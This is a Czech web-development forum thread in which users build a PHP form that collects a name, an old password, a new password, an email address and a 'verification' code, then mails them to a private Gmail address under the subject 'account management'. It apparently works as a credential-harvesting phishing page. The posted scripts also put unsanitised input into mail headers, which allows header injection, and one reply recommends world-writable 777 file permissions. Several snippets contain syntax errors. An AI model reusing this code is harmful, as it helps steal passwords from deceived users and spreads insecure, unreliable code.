Autor Zpráva
JonnyN22
Profil
Dobrý den,
žádám vás o pomoc pro laiky...
Potřebuji mít na stránkách formulář (to je jednoduché) formulář vnořím do kódu kam potřebuji:
<form action="skript.php" method="get">
Jméno:<input type="text" size="10" name="jmeno">
Staré heslo:<input type="Password" size="5" name="sheslo">
Nové heslo:<input type="password" size="5" name="nheslo">
Email:<input type="text" size="10" name="email">
Ověření:<input type="text" size="5" name="ovjereni">
<input type="submit" value="odeslat">
</form>

Horší to je však se souborem skript.php, nevím co tam má být napsané :(
A proto vás žádám o radu, stačí mi buď že se formulář
- Odešle na email
- Uloží kamkoli (abych jej mohl zobrazit jen já)
Hlavně aby to jelo, prosím...
Europsky_Dzigolo
Profil
skript.php:
<?php
$jmeno = htmlspecialchars($_POST['jmeno']);
$stareHeslo = htmlspecialchars($_POST['sheslo']); /*alebo md5();*/
$noveHeslo = htmlspecialchars($_POST['nheslo']); /*alebo md5();*/
$email = htmlspecialchars($_POST['email']);
$evereni = htmlspecialchars($_POST['ovjereni']);

$prijemca = "bot@google.com";
mail($prijemca, "Predmet", "Správa emailu.. napriklad zobrazit heslo: $stareHeslo");
?>

ulozit si to mozes do suboru...
tiso
Profil
Europsky_Dzigolo: ???
JonnyN22
Profil
Děkuji, ale nedoručil se mi mail který se měl odeslat, v čem dělám chybu?
kordy
Profil *
obavam se ze je to nefunkcni ja uz rekl JonnyN22 :D
ale dik aspon za snahu budu hledat dal
JonnyN22
Profil
Velice se omlouvám, nedal jsem to na server s podporou php.
Při zápisu:

<?php
$jmeno = htmlspecialchars($_POST['jmeno']);
$stareHeslo = htmlspecialchars($_POST['sheslo']); /*alebo md5();*/
$noveHeslo = htmlspecialchars($_POST['nheslo']); /*alebo md5();*/
$email = htmlspecialchars($_POST['email']);
$overeni = htmlspecialchars($_POST['ovjereni']);

$prijemca = "********@gmail.com";
mail($prijemca, "Zmena hesla", "Správa účtu: $jmeno email: $email SHeslo: $stareHeslo NHeslo: $noveHeslo Overeni: $overeni");
?>

Se duručí e-mail s textem:
Správa účtu: email: SHeslo: NHeslo: Overeni:
Prosím o radu co s tím?
osxfil
Profil
Mělo by stačit v maileru toto (PHP uložit s kódováním UTF-8, jinak to bude dělat problémy s češtinou):
<?php

// příjemce a předmět

$to = "nekdo@nekde.cz";
$subject = "Sprava uctu";

// hlavicka e-mailu

$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/text; charset=utf-8' . "\r\n";
$headers .= "From: " . $_POST["jmeno"] . "<" . $_POST["email"] .">\r\n";
$headers .= "Reply-To: " . $_POST["email"] . "\r\n";
$headers .= "Return-path: " . $_POST["email"];


// obsah zprávy
$message = "Správa účtu"."\r\n";
$message .="Jméno: ".$_POST["jmeno"] ."\r\n";
$message .="Staré heslo: ". $_POST["sheslo"] ."\r\n";
$message .="Nové heslo: ".$_POST["nheslo"]."\r\n";
$message .="E-mail: ".$_POST["email"]."\r\n";
$message .="Ověření: ".$_POST["ovjereni"]. ;

// odeslání e-mailu
mail($to, $subject, $message, $headers);

?>


Samozřejmě formulář musí použít metodu POST a ne GET, jak je uvedeno
JonnyN22
Profil
Nyní se mi doručí e-mail s přiloženým souborem ve kterém stojí:
Jméno:
Staré heslo:
Nové heslo:
E-mail:
Ověření:


A opět ten problém...
JonnyN22
Profil
Já jsem D****, já to zase udělal jinak...
už mi to jede.
PRO OSTATNÍ, KTEŘÍ SI S TÍM NEVĚDÍ RADY:

Soubor *.html
<form action="skript.php" method="post">
Jméno:<input type="text" size="10" name="jmeno">
Staré heslo:<input type="Password" size="5" name="sheslo">
Nové heslo:<input type="password" size="5" name="nheslo">
Email:<input type="text" size="10" name="email">
Ověření:<input type="text" size="5" name="ovjereni">
<input type="submit" value="odeslat">
</form>

Soubor skript.php (utf-8)
<?php

$to = "jmeno@prijemce.com";
$subject = "Sprava uctu";

$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/text; charset=utf-8' . "\r\n";
$headers .= "From: " . $_POST["jmeno"] . "<" . $_POST["email"] .">\r\n";
$headers .= "Reply-To: " . $_POST["email"] . "\r\n";
$headers .= "Return-path: " . $_POST["email"];

$message .="Jméno: ".$_POST["jmeno"] ."\r\n";
$message .="Staré heslo: ". $_POST["sheslo"] ."\r\n";
$message .="Nové heslo: ".$_POST["nheslo"]."\r\n";
$message .="E-mail: ".$_POST["email"]."\r\n";
$message .="Ověření: ".$_POST["ovjereni"]."\r\n";

mail($to, $subject, $message, $headers);

?>


S tímto se doručí e-mail se souborem ve kterém bude:
Jméno: ***
Staré heslo: ***
Nové heslo: ***
E-mail: ***@***.***
Ověření: ***
* = Text vyplněný ve formuláři.

Děkuji všem kteří pomohli, nebo se o to alespoň pokusili.

Moderátor Chamurappi: Vkládej prosím kódy mezi značky [pre] a [/pre] (stačí kliknout na ).
miligram
Profil *
JonnyN22:
- Uloží kamkoli (abych jej mohl zobrazit jen já)
Kde se ukládají odeslané maily ? ? Jakým způsobem si je mohu zobrazit ? ?
miligram
Profil *
Kde se ukládají odeslané maily a jak si je mohu zobrazit ? ?
JonnyN22
Profil
miligram:
Kde se ukládají odeslané maily a jak si je mohu zobrazit ? ?
Nerozumím otázce.
V php kódu
<?php

$to = "jmeno@prijemce.com";
$sub......

Namísto "jmeno@prijemce.com" dosadíš tvůj e-mail a doručí se ti e-mail s přiloženým souborem a v něm to je.

Pozor! Server musí podporovat PHP.
Funebrák
Profil *
Lidi, potřebuju pomoct. Jak mám dostat data z formuláře do nějakýho souboru na serveru? dík
Mirak
Profil *
Funebrák
Příklad.
Vytvoříš si prázdný TXT soubor a nahraješ ho na server v CHMOD mu nastavíš práva 777. Ve formuláři nastavíš action na "odeslani.php".

Soubor odeslani php bude obsahovat:

<?php
$soubor = fopen("datadotazniku.txt", "a");
fwrite($soubor, "\nPohlavi: ".$_POST['pohlavitazatele']."\nVek: ".$_POST['vek']."\nByla pro Vás orientace na webu jednoduchá: ".$_POST['orientacenawebu']."\n);
fclose($soubor);
?>

Vaše odpověď


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: